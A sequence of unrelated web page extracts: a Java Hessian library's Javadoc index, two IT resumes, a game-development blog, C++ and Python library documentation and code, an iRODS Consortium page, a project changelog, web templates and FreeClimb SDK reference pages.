| Interface | Description |
|---|---|
| Deserializer |
Deserializing an object.
|
| External |
Created by mhsieh on 9/16/14.
|
| Hessian2Constants | |
| HessianHandle |
Marks a type as a handle
|
| HessianRemoteObject |
Interface for any hessian remote object.
|
| HessianRemoteResolver |
Looks up remote objects.
|
| ObjectSerializer |
Serializing an object.
|
| Serializer |
Serializing an object.
|
| Class | Description |
|---|---|
| AbstractDeserializer |
Deserializing an object.
|
| AbstractHessianInput |
Abstract base class for Hessian requests.
|
| AbstractHessianOutput |
Abstract output stream for Hessian requests.
|
| AbstractHessianResolver |
Looks up remote objects.
|
| AbstractListDeserializer |
Deserializing a JDK 1.2 Collection.
|
| AbstractMapDeserializer |
Serializing an object for known object types.
|
| AbstractSerializer |
Serializing an object.
|
| AbstractSerializerFactory |
Factory for returning serialization methods.
|
| AbstractStreamDeserializer |
Deserializing a byte stream
|
| AbstractStreamSerializer |
Serializing an object containing a byte stream.
|
| AbstractStringValueDeserializer |
Deserializes a string-valued object like BigDecimal.
|
| AnnotationDeserializer |
Deserializing a java annotation for known object types.
|
| AnnotationInvocationHandler |
Proxy for a java annotation for known object types.
|
| AnnotationSerializer |
Serializing a Java annotation
|
| ArrayDeserializer |
Deserializing a Java array
|
| ArraySerializer |
Serializing a Java array.
|
| BasicDeserializer |
Serializing an object for known object types.
|
| BasicSerializer |
Serializing an object for known object types.
|
| BeanDeserializer |
Serializing an object for known object types.
|
| BeanSerializer |
Serializing an object for known object types.
|
| BeanSerializerFactory |
Factory for returning serialization methods.
|
| BigDecimalDeserializer |
Deserializing a BigDecimal
|
| ByteArraySerializer |
Serializing an object for known object types.
|
| ByteHandle |
Handle for Java Byte objects.
|
| CalendarHandle |
Handle for a calendar object.
|
| CalendarSerializer |
Serializing a calendar.
|
| ClassDeserializer |
Deserializing a JDK 1.2 Class.
|
| ClassSerializer |
Serializing a remote object.
|
| CollectionDeserializer |
Deserializing a JDK 1.2 Collection.
|
| CollectionSerializer |
Serializing a JDK 1.2 Collection.
|
| ContextSerializerFactory |
The classloader-specific Factory for returning serialization
|
| Deflation | |
| EnumDeserializer |
Deserializing an enum valued object
|
| EnumerationDeserializer |
Deserializing a JDK 1.2 Collection.
|
| EnumerationSerializer |
Serializing a JDK 1.2 Enumeration.
|
| EnumSerializer |
Serializing an object for known object types.
|
| EnvelopeFactory | |
| ExtSerializerFactory |
Factory for returning serialization methods.
|
| FileDeserializer |
Deserializing a File
|
| FloatHandle |
Handle for Java Float objects.
|
| Hessian2Input |
Input stream for Hessian requests.
|
| Hessian2Output |
Output stream for Hessian 2 requests.
|
| Hessian2StreamingInput |
Input stream for Hessian 2 streaming requests using WebSocket.
|
| Hessian2StreamingOutput |
Output stream for Hessian 2 streaming requests.
|
| HessianDebugInputStream |
Debugging input stream for Hessian requests.
|
| HessianDebugOutputStream |
Debugging output stream for Hessian requests.
|
| HessianDebugState |
Debugging input stream for Hessian requests.
|
| HessianEnvelope |
Factory class for wrapping and unwrapping hessian streams.
|
| HessianFactory |
Factory for creating HessianInput and HessianOutput streams.
|
| HessianInput |
Input stream for Hessian requests.
|
| HessianInputFactory | |
| HessianOutput |
Output stream for Hessian requests, compatible with microedition
Java.
|
| HessianRemote |
Encapsulates a remote address when no stub is available, e.g.
|
| HessianSerializerInput |
Input stream for Hessian requests, deserializing objects using the
java.io.Serialization protocol.
|
| HessianSerializerOutput |
Output stream for Hessian requests.
|
| InputStreamDeserializer |
Serializing a stream object.
|
| InputStreamSerializer |
Serializing a stream object.
|
| IteratorDeserializer |
Deserializing a JDK 1.2 Collection.
|
| IteratorSerializer |
Serializing a JDK 1.2 Iterator.
|
| JavaDeserializer |
Serializing an object for known object types.
|
| JavaSerializer |
Serializing an object for known object types.
|
| JavaUnsharedSerializer |
Serializing an object for known object types.
|
| LocaleHandle |
Handle for a locale object.
|
| LocaleSerializer |
Serializing a locale.
|
| MapDeserializer |
Deserializing a JDK 1.2 Map.
|
| MapSerializer |
Serializing a JDK 1.2 java.util.Map.
|
| ObjectDeserializer |
Serializing an object for known object types.
|
| ObjectHandleSerializer |
Serializing a remote object.
|
| ObjectNameDeserializer |
Deserializing an ObjectName
|
| RemoteDeserializer |
Serializing an object for known object types.
|
| RemoteSerializer |
Serializing a remote object.
|
| SerializerFactory |
Factory for returning serialization methods.
|
| ShortHandle |
Handle for Java Short objects.
|
| SqlDateDeserializer |
Deserializing a string valued object
|
| SqlDateSerializer |
Serializing a sql date object.
|
| StackTraceElementDeserializer |
Deserializing a JDK 1.4 StackTraceElement
|
| StringValueDeserializer |
Deserializing a string valued object
|
| StringValueSerializer |
Serializing a remote object.
|
| ThrowableSerializer |
Serializing an object for known object types.
|
| UnsafeDeserializer |
Serializing an object for known object types.
|
| UnsafeSerializer |
Serializing an object for known object types.
|
| UnsafeUnsharedSerializer |
Serializing an object for known object types.
|
| ValueDeserializer |
Deserializing a string valued object
|
| WriteReplaceSerializer |
Serializing an object for known object types.
|
| Enum | Description |
|---|---|
| HessianInputFactory.HeaderType |
| Exception | Description |
|---|---|
| HessianFieldException |
Exception during field reading.
|
| HessianMethodSerializationException |
Exception for faults when the fault doesn't return a java exception.
|
| HessianProtocolException |
Exception for faults when the fault doesn't return a java exception.
|
| HessianServiceException |
Exception for faults when the fault doesn't return a java exception.
|
| IOExceptionWrapper |
Exception wrapper for IO.
|
Copyright © 2016. All rights reserved.


📃 Resume
Leon de Pruyssenaere de la Woestijne - Software Engineer
| Nationality GitHub |
Netherlands<EMAIL_ADDRESS>GitHub |
Tech stack
Azure DevOps
C#
.NET
Docker
Microsoft Azure
TypeScript
Node.js
Ethereum EVM
Projects & hackathons
2022 Nov-Dec Layer Hack 🥇 1st price AltLayer challenge ($5k)
As team WenBounty we used our capstone project to participate to solve real world scenarios for the AltLayer challenge. As a member of the team I fixed smart-contract bugs, added support for the flash layer chain and deployed to production.
2022 Oct-Nov Manifold MEV Bounty 🥈 2nd place ($3k)
Manifold’s custom chain has different entities, both large and small, performing trades against DEX LPs and issuing transfers between each other. As a hacker, my objective is to develop and implement a working MEV trading system that can capitalize on inefficiencies within the custom chain and extract the maximal value from both the entities in the system and each other. Created a high-performing multi-threaded MEV-platform that listens to the chain 24/7. Developed smart-contracts for arbitrages and strategies. Deployed to docker containers in a private cloud instance as close as possible to the RPC-endpoint for lower latencies.
Misc projects
Running my own; VPN services, Compound-fork liquidation bots, Telegram bots. Created a Flashbots library for .NET.
Work Experience
2019 Jul - 2022 Sabbatical
In 2019 I planned a world trip by hitchhiking from The Netherlands to Japan. After several months an infectious disease caused by the coronavirus broke out on planet Earth. I stayed in Iran for a year and traveled through Turkey and Armenia.
2018 May - 2019 Jun Rabobank - DevOps Engineer
Consulting teams setting up secure pipelines in Azure DevOps, to keep the CI /CD pipelines secure and avoid malicious developers to hijack production environments. Documenting new features and how-to’s. Giving workshops about the Azure DevOps functionalities.
2017 Mar - 2018 Apr DICTU - Senior Software Developer
As a Software Developer I was responsible for maintaining the BVBSN, the Dutch Social Security Number system. Creating the Continuous Integration and Continuous Deployment pipelines to several environments in Windows Server 2016. This is done with TFS and Powershell. Creating Quality Gates with Sonar and improving the automated regression testing with Docker containers for the applications.
2013 - 2018
Various consultancy and development jobs for governments and financial companies.
Education
2022 Sep-Nov Encode Solidity Bootcamp
Participated in the 8-week Solidity bootcamp organised by Encode club. Daily calls with instructor. Our capstone project is a Hackathon Management and Real-time Prize Distribution app.
2007 - 2013 Hogeschool Rotterdam
Bachelor Computer Engineering
External links
Wenbounty app, Prizewinners and summary. Mev Bounty blog post and the source code. A Flashbots lib for .NET.


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--- layout: default layout_keyword: feature title: Custom Store tagline: Raise funds by selling custom products feature_image: images/features/store-large-icon.png tags: [for_your_enterprise] ---
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I'm spending most of my time working on making a video game and plan to post updates and gifs here along with other photos and drawings.
I also post updates on my reddit account, as well as a few updates + photos + drawings on my instagram.
If you'd like to get in touch, shoot an email to<EMAIL_ADDRESS>Import New Artwork in B&W
Today I messed with some of the lines from the new artwork and
pulled it into the game to see how it looked. I haven't colored
anything yet, I wanted to see what it would look like in black and
white. While it does seem like it could possibly be worth exploring,
it feels a bit more like a story book than a game, which isn't
exactly what I'm going for. I think I'll spend some more time
today/tomorrow adding color in a way that will let me change it in
the game at runtime. Given that there will only be a few colors, my
plan is to color in the artwork in photoshop in greyscale, and then
write a shader in Unity that will map those greyscale color values
to some color parameters that I can specify either in code or via
the Unity UI.
Giant Re-work and Rig
I got some sick environment artwork done by Jackson at Snail
Farm so I reworked the Giant character to match the artwork. The
character has a weapon now, which I was hesitant to do at first
because it complicates everything; the rigging, animating, in-game
logic and effects are all harder to setup and deal with. But I do
think it'll probably lead to a more interesting boss fight with more
ways to create different kinds of attacks/obstacles. I just finished
rigging the character with different weapon slots in Blender (i.e. I
now have different ways of controlling the weapon/limbs of the
character when animating) so I can finally get to the actual
animations. For now, I'm going to just start off with getting the
giant to stand up and walk around. Once that's in place, I plan on
spending time to work with the artwork to try and figure out the
best way to include it in the game. The first thing I'll try is to
hand-paint a normal map on top of the artwork, bring it into the
game, and get the lighting / colors to look good.
Giant Attack Animation
Started working on the giant's first attack animation. At first the
thought was that he should dive the player(s) and cause a shockwave,
so I animated that. Then I realized I had to animate the giant
getting up and going back to idle somehow, but thought it felt kind
of boring.
Let it rip baby.
here are some of my photos
• 📷 minolta x700
• 📷 sony a7iii
todo
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2
DAYS
since last Polish
Latest commits on Spring Framework
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Fix a Spring Framework issue
Committed by [[${commit.committer.name}]]
Latest commits on Spring Boot
deadb33f
Fix a Spring Framework issue
Committed by [[${commit.committer.name}]]


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HELLO WORLD home / theory / python / hello-world
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Some plugins and CSS components depend on other plugins. If you include plugins individually, make sure to check for these dependencies in the docs. Also note that all plugins depend on jQuery (this means jQuery must be included before the plugin files). Consult our bower.json
to see which versions of jQuery are supported.


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writescreen. The argument
S
may be a character, a string, or a character table.


__Ask a project manager to add reference files to this project.
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{% extends 'users/base.html' %} {% load socialaccount %} {% block head_content %}
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- b -
- Base
: cattle::AbsoluteLoss< Scalar, Rank, Sequential >
, cattle::ActivationLayer< Scalar, Rank >
, cattle::AdaMaxOptimizer< Scalar, Rank, Sequential >
, cattle::BatchNormLayer< Scalar, Rank >
, cattle::BatchNormLayer< Scalar, 3 >
, cattle::BidirectionalNeuralNetwork< Scalar, Rank, MergeType >
, cattle::BinaryStepActivationLayer< Scalar, Rank >
, cattle::CIFARDataProvider< Scalar, CIFARType >
, cattle::CompositeNeuralNetwork< Scalar, Rank, Sequential >
, cattle::ConvLayer< Scalar >
, cattle::CrossEntropyLoss< Scalar, Rank, Sequential >
, cattle::DenseNeuralNetwork< Scalar, Rank, ConcatType >
, cattle::DropoutLayer< Scalar, Rank >
, cattle::ELUActivationLayer< Scalar, Rank >
, cattle::FCLayer< Scalar, Rank >
, cattle::FeedforwardNeuralNetwork< Scalar, Rank >
, cattle::HingeLoss< Scalar, Rank, Sequential, Squared >
, cattle::IdentityActivationLayer< Scalar, Rank >
, cattle::JointFileDataProvider< Scalar, Rank, Sequential, Binary >
, cattle::LeakyReLUActivationLayer< Scalar, Rank >
, cattle::MaxPoolingLayer< Scalar >
, cattle::MeanPoolingLayer< Scalar >
, cattle::MemoryDataProvider< Scalar, Rank, Sequential, Shuffle >
, cattle::MNISTDataProvider< Scalar >
, cattle::MultiLabelHingeLoss< Scalar, Rank, Sequential, Squared >
, cattle::MultiLabelLogLoss< Scalar, Rank, Sequential >
, cattle::NadamOptimizer< Scalar, Rank, Sequential >
, cattle::NesterovMomentumAcceleratedSGDOptimizer< Scalar, Rank, Sequential >
, cattle::ParallelNeuralNetwork< Scalar, Rank, MergeType >
, cattle::PartitionDataProvider< Scalar, Rank, Sequential >
, cattle::PCAPreprocessor< Scalar, Rank, Standardize, Whiten >
, cattle::PCAPreprocessor< Scalar, 3, Standardize, Whiten >
, cattle::PoolingLayer< Scalar >
, cattle::PReLUActivationLayer< Scalar, Rank >
, cattle::QuadraticLoss< Scalar, Rank, Sequential >
, cattle::ReLUActivationLayer< Scalar, Rank >
, cattle::ResidualNeuralNetwork< Scalar, Rank >
, cattle::ScalingActivationLayer< Scalar, Rank >
, cattle::SequentialNeuralNetwork< Scalar, Rank >
, cattle::SGDOptimizer< Scalar, Rank, Sequential >
, cattle::SigmoidActivationLayer< Scalar, Rank >
, cattle::SoftmaxActivationLayer< Scalar, Rank >
, cattle::SoftmaxCrossEntropyLoss< Scalar, Rank, Sequential >
, cattle::SoftplusActivationLayer< Scalar, Rank >
, cattle::SplitFileDataProvider< Scalar, Rank, Sequential, ObsBinary, ObjBinary >
, cattle::SumPoolingLayer< Scalar >
, cattle::TanhActivationLayer< Scalar, Rank >
, cattle::UniversalLoss< Scalar, Rank, Sequential >
, cattle::UniversalLoss< Scalar, Rank, true >
- Block
: cattle::CompositeNeuralNetwork< Scalar, Rank, Sequential >
- d -
- Data
: cattle::DataProvider< Scalar, Rank, Sequential >
, cattle::Layer< Scalar, Rank >
, cattle::Loss< Scalar, Rank, Sequential >
, cattle::NeuralNetwork< Scalar, Rank, Sequential >
, cattle::Optimizer< Scalar, Rank, Sequential >
- DataPtr
: cattle::DataProvider< Scalar, Rank, Sequential >
- Dims
: cattle::NeuralNetwork< Scalar, Rank, Sequential >
- l -
- m -
- n -
- o -
- p -
- r -
- RankwiseArray
: cattle::BidirectionalNeuralNetwork< Scalar, Rank, MergeType >
, cattle::ConvLayer< Scalar >
, cattle::DenseNeuralNetwork< Scalar, Rank, ConcatType >
, cattle::ELUActivationLayer< Scalar, Rank >
, cattle::FCLayer< Scalar, Rank >
, cattle::ParallelNeuralNetwork< Scalar, Rank, MergeType >
, cattle::PoolingLayer< Scalar >
, cattle::PReLUActivationLayer< Scalar, Rank >
, cattle::SequentialNeuralNetwork< Scalar, Rank >
, cattle::SoftmaxActivationLayer< Scalar, Rank >
, cattle::UniversalLoss< Scalar, Rank, Sequential >
, cattle::UniversalLoss< Scalar, Rank, true >
- RankwiseBoolArray
: cattle::LSTMNeuralNetwork< Scalar, Rank, MulInt, Stateful >
, cattle::RecurrentNeuralNetwork< Scalar, Rank, MulInt, Stateful >
- RankwiseIntArray
: cattle::LSTMNeuralNetwork< Scalar, Rank, MulInt, Stateful >
, cattle::RecurrentNeuralNetwork< Scalar, Rank, MulInt, Stateful >
- ReducedData
: cattle::PoolingLayer< Scalar >
- ReductionRanksArray
: cattle::PoolingLayer< Scalar >
- Root
: cattle::AbsoluteLoss< Scalar, Rank, Sequential >
, cattle::BatchNormLayer< Scalar, Rank >
, cattle::BatchNormLayer< Scalar, 3 >
, cattle::BinaryStepActivationLayer< Scalar, Rank >
, cattle::CIFARDataProvider< Scalar, CIFARType >
, cattle::ConvLayer< Scalar >
, cattle::CrossEntropyLoss< Scalar, Rank, Sequential >
, cattle::ELUActivationLayer< Scalar, Rank >
, cattle::FCLayer< Scalar, Rank >
, cattle::HingeLoss< Scalar, Rank, Sequential, Squared >
, cattle::IdentityActivationLayer< Scalar, Rank >
, cattle::LeakyReLUActivationLayer< Scalar, Rank >
, cattle::LSTMNeuralNetwork< Scalar, Rank, MulInt, Stateful >
, cattle::MaxPoolingLayer< Scalar >
, cattle::MeanPoolingLayer< Scalar >
, cattle::MNISTDataProvider< Scalar >
, cattle::MultiLabelHingeLoss< Scalar, Rank, Sequential, Squared >
, cattle::MultiLabelLogLoss< Scalar, Rank, Sequential >
, cattle::PCAPreprocessor< Scalar, Rank, Standardize, Whiten >
, cattle::PCAPreprocessor< Scalar, 3, Standardize, Whiten >
, cattle::PReLUActivationLayer< Scalar, Rank >
, cattle::QuadraticLoss< Scalar, Rank, Sequential >
, cattle::RecurrentNeuralNetwork< Scalar, Rank, MulInt, Stateful >
, cattle::ReLUActivationLayer< Scalar, Rank >
, cattle::ScalingActivationLayer< Scalar, Rank >
, cattle::SigmoidActivationLayer< Scalar, Rank >
, cattle::SoftmaxActivationLayer< Scalar, Rank >
, cattle::SoftmaxCrossEntropyLoss< Scalar, Rank, Sequential >
, cattle::SoftplusActivationLayer< Scalar, Rank >
, cattle::SumPoolingLayer< Scalar >
, cattle::TanhActivationLayer< Scalar, Rank >
- s -
- Self
: cattle::BidirectionalNeuralNetwork< Scalar, Rank, MergeType >
, cattle::CompositeNeuralNetwork< Scalar, Rank, Sequential >
, cattle::DimExpression< Derived, IndexType, Rank >
, cattle::FeedforwardNeuralNetwork< Scalar, Rank >
, cattle::LSTMNeuralNetwork< Scalar, Rank, MulInt, Stateful >
, cattle::NoParameterRegularization< Scalar >
, cattle::ParallelNeuralNetwork< Scalar, Rank, MergeType >
, cattle::RecurrentNeuralNetwork< Scalar, Rank, MulInt, Stateful >
, cattle::SequentialNeuralNetwork< Scalar, Rank >
- t -
- u -


--- title: "She Gathered Cardboard Boxes And Made The Most Beautiful Gift For Her Toddler" top_image: "http://images.dabannit.com/f97ac2/diy-cardboard-kitchen-toddler-b80.jpg" featimg: "http://images.dabannit.com/f97ac2/diy-cardboard-kitchen-toddler-b80.jpg" description: "She Gathered Cardboard Boxes And Made The Most Beautiful Gift For Her Toddler." origin_url: "http://www.boredpanda.com/diy-cardboard-kitchen-recycle-toddler/" social_media_msg: "A cardboard kitchen for your little one" ---
You don't have to be super rich to provide beautiful toys to your kids. Rodessa Villanueva-Reyes, a mom from the Philippines, just proved it for us all. She took cardboard boxes and turned them into a beautiful play kitchen for her little daughter. Parents from all over the world have shared her story on social media.
Look below for how she made it:
Source: forurbanwomen.com


|
Oxford University Press: Project Support Engineer
Assisting OUP with projects.
Reviewing best practise and advising on alternative methodology;
The supported operating systems are primarily Redhat 5.2 and 7.2,
however there were some older versions as well as Ubuntu, SUSE and HPUX.
Created asset lists to be shared with the offshore support team.
Configured external logging using Rsync and Arc Server.
Completed SQL Server upgrades 2012 to 2016.
Cisco: DevOps Consultant
Assisted Cisco with configuring Additions to both thier
virtual and physical infrastucture, both remotely and within thier datacentre.
This ran on cisco hardware and utilised ESXi and Scaleio storage.
Bristol University: DevOps Support Consultant
Assisted Bristol University thier Virtual farm.
Reviewing best practise and advising on Puppet methodology.
This all ran on HyperV/Git Infrastructure.
Abbott Diabetics: Senior Techmical Speciaslist
Supported business-critical Applications and their environments.
Developing & working with system documentation.
Liaising between departments to facilitate project scoping, requirements gathering & solution design.
Supporting Manufacturing Execution System (MES).
Working with clients, identifying business needs and the cost/benefits of implementing solutions.
Defining system requirements and dhering to regulatory & IT policies & procedures.
Oracle: Senior Cloud Operations System Administrator
Assisted the Operations team by reviewing best practise and advising on alternative methodology;
The supported operating systems were Redhat configured by Chef and Ansible.
We created procedures for 1st line to monitor and react correclty to alerts.
Bash scripts have been created to allow for easier access to the nodes within the cloud infrastucture.
Electronic Arts: Security Operations System Administrator
Supported the Infrastucture Intrusions team by providing Operational BAU and project support.
This included remote physical servers but the majority were virtual servers running on ESXi 6.0
linked to external NetApp storage.
The supported operating systems were Ubuntu, Centos and Microsoft Server 2012 R2.
We implemented backups using Veem as well as bash Scripts which mount to NetApp storage.
The monitoring was also configured to use scripts as well as Icinga (nagios)
and thanks to KJD Solutions, EA are now using ansible to propogate configurations and scripts to all relevant servers from a centrally configured server.
The servers have been hardened according to EA's requirements which includes configuration of SeLinux, IPTables and Firewalls.
Three Mobile: Products Support Engineer
Enabled corrective actions to be made though out the existing infrastructure,
Reviewed several critical systems and implemented improvements.
KJD implemented automatic housekeeping, which succeeded in removing over 300,000 files at a saving of 75 Gigabytes of storage.
Finalizing Go Live with presentations and training plans for local and remote support teams.
Finalised decommissioning of two pre 2009 applications. With over 30 servers to be shutdown. This succeeded in a saving of approx 24KW of power.
With the company new direction migrated to Online SharePoint and Office365.
We provided training to both direct and indirect teams, on creating and using SharePoint sites,
as well as building the internal and external site,
We created multiple scripts to increase efficiency, with regards to fault resolution.
TSTech: Section Manager / Linux Administrator
TSTech work on a ‘Just in Time’ manufacturing system, producing seats for Honda UK.
Upon arrival it was made clear that most of the purchasing and stock control were completed via Excel sheets, A full MRP application had been purchased but was not configured or live.
The servers were on Redhat and the Database was MFGPRO. The requirement was to implement the system to live with a deadline of 18 months.
I initially analysed the existing procedure from each department, from there I could produce guidelines and then produced full training plans to all levels of the company,
I purchased external software to enable speedy export/import of data from Excel to MFGPRO,
I rewrote the Disaster recovery process and also incorporated additional offsite resource for full system recovery and was able to automate the processes as much as possible via bash scripting.
Because of steps that I implemented the fail over process was reduced from 60 minutes to 15 minutes. The system went live in an unprecedented 12 months.
Schlumberger: Project Support Analyst
The company had a project to upgrade one of the Applications use on the many Linux Workstations, however initial tests had shown that the upgrade would not work on the existing version of Redhat, and there was now a requirement to upgrade all Linux workstations.
There were 186 workstations that were spread across four buildings on several floors.
Single sign on was implemented would mean that Active Directory would also be affected
Due to the variations in workstation configuration, including dual boot, several kick-start configurations were produced. Also a bash script ran from CDROM in would install the upgrade and assist with the Active Directory modifications.
Due to the upgrade plan, I reduced the rollout from 14 days to 3.5 days, resulting in a
decrease in the outage time by 75%
Nanopore: IT Systems Administrator
Due to the nature of DNA processing it had been a problem whereby the existing SGE Pipeline cluster was not adequate for processing all the data, this created a huge backlog,
Resulting in missed deadlines for development.
Appointed as the Linux system administrator one of my tasks was to rectify the backlog situation within a two week period. I increased the cluster with an additional 8 blades,
This was completed within 48 hours..
This succeeded in reducing the backlog over the following 48 hours, enabling the next phase of development to be rolled out in time for a planned international conference.
Advising with regards to the setting up an automated configuration infrastructure using Ansible and Eucalyptus to replace the existing AWS supplier.
National Trust: Support Specialist
Donations are critical to how the Charity is funded, part of the DSS PCI requirements is to ensure the financial details of customers and beneficiaries are kept secure.
A requirement was there for made that the Financial Database should have its password changed every 6 weeks. This would also affect all connecting applications.
Initially the process would require an extended outage of all the financial systems.
I wrote bash scripts that would push out the new password to any relating applications and scripts via a text file.
I also created a procedure to ensure this was as efficient as possible enabling anyone with the relevant level of access to complete.
By implementing my changes the outage was reduced from 24 hours to just 2 hours, which in turn created greater financial benefits to the company.
1E: Test Analyst
1E are a ‘Green’ software company, producing software that aids companies to help reduce their footprint by ensuring servers use minimal power, and then increased power when required. Their software also reports all information relevant to the infrastructure.
Upon arrival it was clear that the software worked solely for Microsoft Servers.
And that a new requirement was made for this to work on all operating systems.
I produced a single bash script which checked the O/S (Linux or Unix), and what type/version. It then collected all the relevant information according to the O/S, such as CPU and Memory Usage etc enabling the software to work.
The company could then offer the software for all operating systems to both existing and new customers.
GE Aviation: Project Manager
There was a requirement to provide validation of software licences installed on the test infrastructure.
Appointed as the Software Project Manager, my task was to find a method to retrieve a list of installed software from every Test Rig, this ranged from the very old Dos 3.0 servers to the latest Microsoft 2008 Servers, as well as some Linux and Unix servers.
I produced a script to run on all variants of Microsoft operating systems to provide a listing to import into a new MS SQL database, this database was then compared to the Purchase order database for the relevant licenses,
With this information we were able to show the shortfall to be in the region of £425,000, which enabled the company to prevent any future fines. |


The iRODS Consortium brings together businesses, research organizations, universities, and government agencies to ensure the sustainability of iRODS by:
• Guiding further development of the software;
• Growing the user and developer communities; and
• Facilitating iRODS support, education, and collaboration opportunities.
The Consortium maintains and supports a commercial-grade distribution of
iRODS
The iRODS Consortium fields a team of software developers, application engineers, and support staff housed at RENCI at the University of North Carolina at Chapel Hill. Each year, the Consortium hosts the iRODS User Group Meeting, a symposium that draws 100+ participants to Chapel Hill to share iRODS technologies and case studies.
iRODS Support
The iRODS Consortium provides support through Consortium membership and on contract. Commercial support is available through the iRODS Partner Program. See the iRODS Support page for additional information.
iRODS Consortium Membership
iRODS Consortium members direct the technology and governance of iRODS through monthly Technology Working Group and Planning Committee meetings. In addition, Consortium members receive priority access to support, training, and consulting.
The iRODS Consortium can also assist commercial members in bringing iRODS-related products and services to market by:
• Providing directed software development and support,
• Including vendor equipment and software in the iRODS continuous integration and test environment, and
• Co-marketing vendor technology that is “Powered by iRODS.”
Additionally, Consortium staff are available to educate and co-present with member sales teams on iRODS and data management topics.
See the iRODS Consortium
Benefits Table and
document program for more information about Consortium membership, or contact us at info@irods.org.


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You now get regular updates on the latest and greatest things that are happening in the thoughtram world, including blog articles, training announcements, videos and much more! To get you started, here are our latest three articles.


GJAR IoT Changelog
Last generated: 2019-10-31
2018-07-15
-
Samuel NovĂˇk
- Automatic changelog system.
- Basic frontend with link to changelogs.
2018-08-31
-
Miroslav Repka
- Hardware using JSON protocol.
-
Samuel NovĂˇk
- Simplified API imports.
- Fixed changelog.py
2018-10-02
-
Miroslav Repka
- The code can now send json messages.
- Eeprom was removed from the code.
2018-10-05
-
Samuel NovĂˇk
- Added view API call.
- Fixed API loading.
- Fixed datetime handling.
2018-11-01
-
Samuel NovĂˇk
- Server accepting brightness.
- Removed noise.
- Removed time from protocol in DATA.
2018-11-15
-
Daniel Dopiriak
- Added information about us
2018-11-20
-
Samuel NovĂˇk
- Removed room command.
- Fixed approve command.
2018-11-27
-
Miroslav Repka
- Added rounding numbers and new token decoding.
- Added verification and approving Nodes.
- Nothing removed.
-
Samuel NovĂˇk
2019-03-09
-
Daniel Dopiriak
- Graph section updated
- Added real room 16 graph to landing page
2019-05-05
-
Daniel Dopiriak
- Added new site.
- Removed old site.
2019-10-31
-
Daniel Dopiriak
- Specific date parsed in POST request


--- layout: post title: Spotify to Launch in US by Invitation? categories: [] tags: - funny - geek - music status: publish type: post published: true meta: _original_post_id: '' _original_import_author: John Duprey author: ---
I'll ask for my invite preemptively. :)
http://mashable.com/2011/07/11/spotify-launch-invites-united-states/ Sent from my iPhone


import torch.utils.data
from torch.utils.data.dataloader import default_collate
from cogdl.data import Batch
[docs]class DataLoader(torch.utils.data.DataLoader):
r"""Data loader which merges data objects from a
:class:`cogdl.data.dataset` to a mini-batch.
Args:
dataset (Dataset): The dataset from which to load the data.
batch_size (int, optional): How may samples per batch to load.
(default: :obj:`1`)
shuffle (bool, optional): If set to :obj:`True`, the data will be
reshuffled at every epoch (default: :obj:`True`)
"""
def __init__(self, dataset, batch_size=1, shuffle=True, **kwargs):
super(DataLoader, self).__init__(
dataset,
batch_size,
shuffle,
collate_fn=lambda data_list: Batch.from_data_list(data_list),
**kwargs
)
[docs]class DataListLoader(torch.utils.data.DataLoader):
r"""Data loader which merges data objects from a
:class:`cogdl.data.dataset` to a python list.
.. note::
This data loader should be used for multi-gpu support via
:class:`cogdl.nn.DataParallel`.
Args:
dataset (Dataset): The dataset from which to load the data.
batch_size (int, optional): How may samples per batch to load.
(default: :obj:`1`)
shuffle (bool, optional): If set to :obj:`True`, the data will be
reshuffled at every epoch (default: :obj:`True`)
"""
def __init__(self, dataset, batch_size=1, shuffle=True, **kwargs):
super(DataListLoader, self).__init__(
dataset,
batch_size,
shuffle,
collate_fn=lambda data_list: data_list,
**kwargs
)
[docs]class DenseDataLoader(torch.utils.data.DataLoader):
r"""Data loader which merges data objects from a
:class:`cogdl.data.dataset` to a mini-batch.
.. note::
To make use of this data loader, all graphs in the dataset needs to
have the same shape for each its attributes.
Therefore, this data loader should only be used when working with
*dense* adjacency matrices.
Args:
dataset (Dataset): The dataset from which to load the data.
batch_size (int, optional): How may samples per batch to load.
(default: :obj:`1`)
shuffle (bool, optional): If set to :obj:`True`, the data will be
reshuffled at every epoch (default: :obj:`True`)
"""
def __init__(self, dataset, batch_size=1, shuffle=True, **kwargs):
def dense_collate(data_list):
batch = Batch()
for key in data_list[0].keys:
batch[key] = default_collate([d[key] for d in data_list])
return batch
super(DenseDataLoader, self).__init__(
dataset, batch_size, shuffle, collate_fn=dense_collate, **kwargs
)


{{day.day}}
Lunch
- {{item.product_name}}
Diet Type: {{item.diet_type || "n/a"}}
No menu information
Dinner
- {{item.product_name}}
Diet Type: {{item.diet_type || "n/a"}}
No menu information
Located in {{outlet.building}}.
| Week Day | Open | Close | ||
|---|---|---|---|---|
| {{weekday}} | {{outlet.opening_hours[weekday].opening_hour | time}} | — | {{outlet.opening_hours[weekday].closing_hour | time}} | — |
If you have any questions or concerns regarding a food outlet on campus, contact Food Services Administration or Region of Waterloo Public Health.
| Date | Type | Actions | ||
|---|---|---|---|---|
| {{inspection.inspection_date | date:'longDate'}} | {{inspection.inspection_type}} | {{inspection.actions}} | ||
|
There are no inspections for this outlet.
Have you eaten here? Write a review now to share your experience with others.
There are no reviews for this outlet.
Please wait while outlet details are loaded.


driving
(default) indicates distance calculation using the road
network.
walking
requests distance calculation for walking via
pedestrian paths & sidewalks (where available).
bicycling
requests distance calculation for bicycling via
bicycle paths & preferred streets (where available).
transit
requests distance calculation via public transit routes
(where available).


Class Call
This class represents a FreeClimb Call instance. Call objects are created by the SDK whenever a call instance would be returned by the API; these primarily come from CallsRequester inside a FreeClimbClient instance.
Inherited Members
Namespace: com.freeclimb.api.call
Assembly: freeclimb-cs-sdk.dll
Syntax
[JsonObject]
public sealed class Call : FreeClimbCommon, IFreeClimbCommon, IEquatable<FreeClimbCommon>, IEquatable<Call>
Remarks
Calls are immutable and intended only to be used to read information returned from the API in a language accessible way.
Properties
| Improve this Doc View SourcegetAccountId
Retrieve the accountId for this call from the object.
Declaration
public string getAccountId { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The accountId for this call. |
getAnsweredBy
Retrieve the answeredBy value for this call from the object.
Declaration
public EAnsweredBy getAnsweredBy { get; }
Property Value
| Type | Description |
|---|---|
| EAnsweredBy | The answeredBy value for this call. |
getCallerName
Retrieve the name of the caller for this call from the object.
Declaration
public string getCallerName { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The name of the caller for this call. |
getCallId
Retrieve the callId for this call from the object.
Declaration
public string getCallId { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The callId for this call. |
getConnectDuration
Retrieve the connect Duration for this call from the object.
Declaration
public int getConnectDuration { get; }
Property Value
| Type | Description |
|---|---|
| System.Int32 | The connectDuration for this call. |
getConnectTime
